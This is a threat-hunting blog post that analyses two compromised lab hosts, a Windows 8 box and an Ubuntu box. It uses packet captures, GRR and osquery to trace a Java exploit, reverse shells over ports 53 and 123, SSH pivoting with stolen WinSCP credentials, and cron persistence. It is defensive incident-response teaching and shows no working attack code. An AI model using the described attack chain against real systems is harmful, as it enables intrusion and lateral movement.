Threat Hunting Part 2: Analysing Endpoints

11 min readOct 7, 2019

Hi friends

In this post we will analyze the endpoints for assesing the compromised boxes. First of all we will resume to analysing process. In part 1, we detected the web shells and pivot point. If you remember, in the previous post, adversary put a hidden iframe a commonly used web page for compromising endpoints with watering hole attack. And adversary founded some pivot points in internal network whcih makes possible to exploit other hosts. Before We start I present you my Udemy Trainings if you want you can benefit my training for learning deeply;

Practical Cyber Threat Hunting

Purple Team Techniques Part 1 Threat Hunting

www.udemy.com

Introduction To Reverse Engineering And Malware Analysis

Alparslan Akyıldız has 10+ years experience at cyber security sector as consultant, pentester, threat hunter and APT…

www.udemy.com

In this post, we will investigate the pivot points, hacking incidents and we will use Osquery and GRR tools for investigation of compromise.

WINDOWS HOST PCAP ANALYSIS:

In this step, we analyze the network traffic of the compromised client. As you remember, Once attacker gained a reverse shell by using java exploit from the victim. Let’s analyze the client traffic with wireshark; When we examine statistics we can see that most of the traffic is TCP and HTTP traffic so we can focus on these protocols.

During reviewing the endpoint coneversations I realized TCP 8080 traffic flow. In this port, HTTP communication is established and I aggreated the packets for analyzing with tcp stream.

We can catch an anomally, look carefully, We see TCP 53 traffic but it isn’t DNS traffic. Lets undergo it! Even traffic is encrypted I can see MZ header that means an executable was transferred to the client over TCP 53 port just after exploit.jar file uploaded to the victim. We need to know how was this connection opened by the adversary? There are a lot of possibilities about the incident. For example, client may be download a malicious binary, or client can visit a malicious web site which is defaced or intentional designed with exploit kit or client can be exploited via RCE. But in previous analysis we know that company’s legal website defaced by the attacker ( in the previous post ) and we detected it morever If you notice the packets you can see the GET request is sended by the victem to the adversary exploit delivery servers Exploit.jar file under randomly created directory. It is clear that victim browsed the defaced page and he was exploited but we will support and reinforce our ideas with endpoint analysis. Before jump endpoint analysis we examine other client traffic wheather If an anomally occured.

UBUNTU HOST PCAP ANALYSIS:

When we inspect the traffic first we can see the possible reverse shell connection beetwen Windows 8 client and attacker computer.

We also see a SSH connection immediately after WIN 8 client compromision, from compromised box to Ubuntu box. It can be interesting.

After an SSH connection, I draw your attention to fake looking NTP traffic. Traffic flows through TCP 123 but this traffic isn’t NTP traffic. So I streamed the TCP packs for analyzing and I discovered a shell connection beetwen attacker and victim. So probably attacker used WIN 8 as a pivot point to getting a remote shell from Ubuntu box.

Lets aggregate the packets. Bingo shell is cleartext and I can see the sended commands over network.

Attacker tried to escalate his privilige and he was successed:

Our analysis not finished yet. An analyst always must be think like an attacker. So being a cool analyst you must have red team perspective. Let’s play the attack in our minds. Attacker comporomised win 8 box then he used some post explotation techniques for viewing installed programs. He found wincsp and extract the credentials for connect to the other victim and execute a new reverse shell. First scenerio is like that. Imagine steps in your brain:

Post explotation: Enumerating applicaions.

Credential stealing for leteral movements:

Pivoting: Connecting with ssh to the victim and open a new shell:

Attacker gains a reverse shell from the victim machine:

Privilige escalation for getting root rights:

Maybe incident occured like this way may be occured different way. I am just trying to draw an attack map in my mind with my red team knowledge and think about all possibilities but If we want to analyze prcisely , we need endpoint analysis activities. Let’s go on endpoint analysis;

WINDOWS 8 ENDPOINT ANALYSIS WITH GRR:

Before starting endpoint analysis I want to introduce GRR ( Google Rapid Response ). GRR Rapid Response is an incident response framework focused on remote live forensics. GRR is a python client (agent) that is installed on target systems, and python server infrastructure that can manage and talk to clients. You can centerally send queries to other clients for finding their port states, processes, file systems, users state and you can dump processes memory dump remotely for analysing. For installation documents please visit the docs site. After installing the GRR server put binaries to the clients and execute. Finally for viewing clients at the panel please click empty search box.

I decided to first investigate WIN 8 machine. I started with examining port state of the WIN8 client. Start new flows and click netstat.

If we go to notification I can display the results. Let’s have a glance to results.

My first detection is notepad’s network connection over TCP 53 port. It is interesting. Notepad doesn’t open a connection with TCP 53 under the normal condition. It’s suspicious and this method maybe used by the attacker for persistence issues. After that I discovered an exe file whose name is generated randomly and it opens a socket connection to the same IP and same port as before at the pcap analysis. Detected IP address match with the findings of previous pcap analysis morever if you apply time analysis you can see that incident times are consistent.

I go on my analysis steps and I detected one more exe file is created randomly and provides the attacker a new shell.

In the following section just after these issues an SSH connection was initiated with WinSCP program.

For more detailed analysis I decided to dissect sysmon logs. I remember pcap analysis findings and investigate 8080 port connection. I found a network connection. Now I move up and down for finding out why this connection is opened? we discovered Exploit.jar at the previous analysis but is it really successful for opening a shell?

Lets go to pervious logs for finding the reason of this connection:

I saw that from iexplorer a jar file was executed. Jar file triggered gitgpfmy.exe file execution and this execution caused remote payload installation to the victim.

I go back to back in logs and I detect metasploit.payload I am sure about it it is an java exploit is sedned by the exploit kit which is put in the defaced web page.

Immediately after execution, malicious binary TCP 53 shell connection was established from victim to C2C server.

I go back to GRR and control the processes:

I have discoverd smilar binaries on the compromised OS. Randomly generated files names, same malicious IP and same reverse shell connection port.

I proof WIN 8 is used pivot point because during the compomising, an SSH connection is established from compromising machine to the new target. With WinSCP.

I dumped the malicious processes for analysing. Next Blog posts I will analysing memory images with volatility and redline. So now we just collect memory images of the malicious process and collect malicious binaries for malware analysis purpose.

UBUNTU ENDPOINT ANALYSIS WITH OSQUERY & GRR:

We continue our endpoint analysis with other compromised box “Ubuntu Client”. In this analysis session we use Osquery and GRR tools for revealing adversary’s steps and mapping the cyber attack. Osquery is a tool that exposes an operating system as a high-performance relational database. It enables developers to write SQL-based queries that explore operating system data. With osquery, SQL tables can be created to help represent otherwise fairly abstract concepts, such as; Running processes, Loaded kernel modules, Open network connections, Browser plugins, Hardware events, File hashes. First I give you some information about it’s usage; With .help commands you can take some information about usage of the tool:

With .tables command you can view the table names which can be querried:

For example if you want to to see column name of the memory_info table you can query with limit 1 keyword. The rest depends on your sql knowledge :)

Lets start our analysing process. First I query established socket connetions for viewing network connections with the sql query is given below:

select s.pid, p.name, local_address, remote_address, family, protocol, local_port, remote_port from process_open_sockets s join processes p on s.pid = p.pid where family = 2;

As you see we detected some connections over TCP 123 to the malicious IP address morever we detected it while analysing pcaps. Lets look after the users who resides on the system:

I detected a user is called hidden. Attackers possibly create this user but I am not sure. I contact with system admin for verifying this user. Then I controlled crontabs with os query and I discovered connect.sh file which is executed periodically with the root rights. I examine this file later.

I reasearch processed path, pid and name and execute this sql query:

Bingo!! I found a process which is used for reverse shell and I see this reverse shell is python reverse shell. Python reverse shell’s remote IP is the adversary’s IP and port 123 is the port which we analyze in pcap analysis. So we completely mapped tha attack.

For detecting rootkits examine the kernel modeules;

In history part we can see attacker upload a privilige escalation exploit to the victim.

When I examine auth.log immediately before python shell connection SSH connection has established. That means adversary pivot with SSH over WIN8 and execute python shell in Ubuntu box.

For cross detection We jump GRR and display the processes:

As you see the above we detected python reverseshell. With in the same minute, SSH connection was established so attacker first connected with SSH to the victem after pivoting he executed python reverseshell.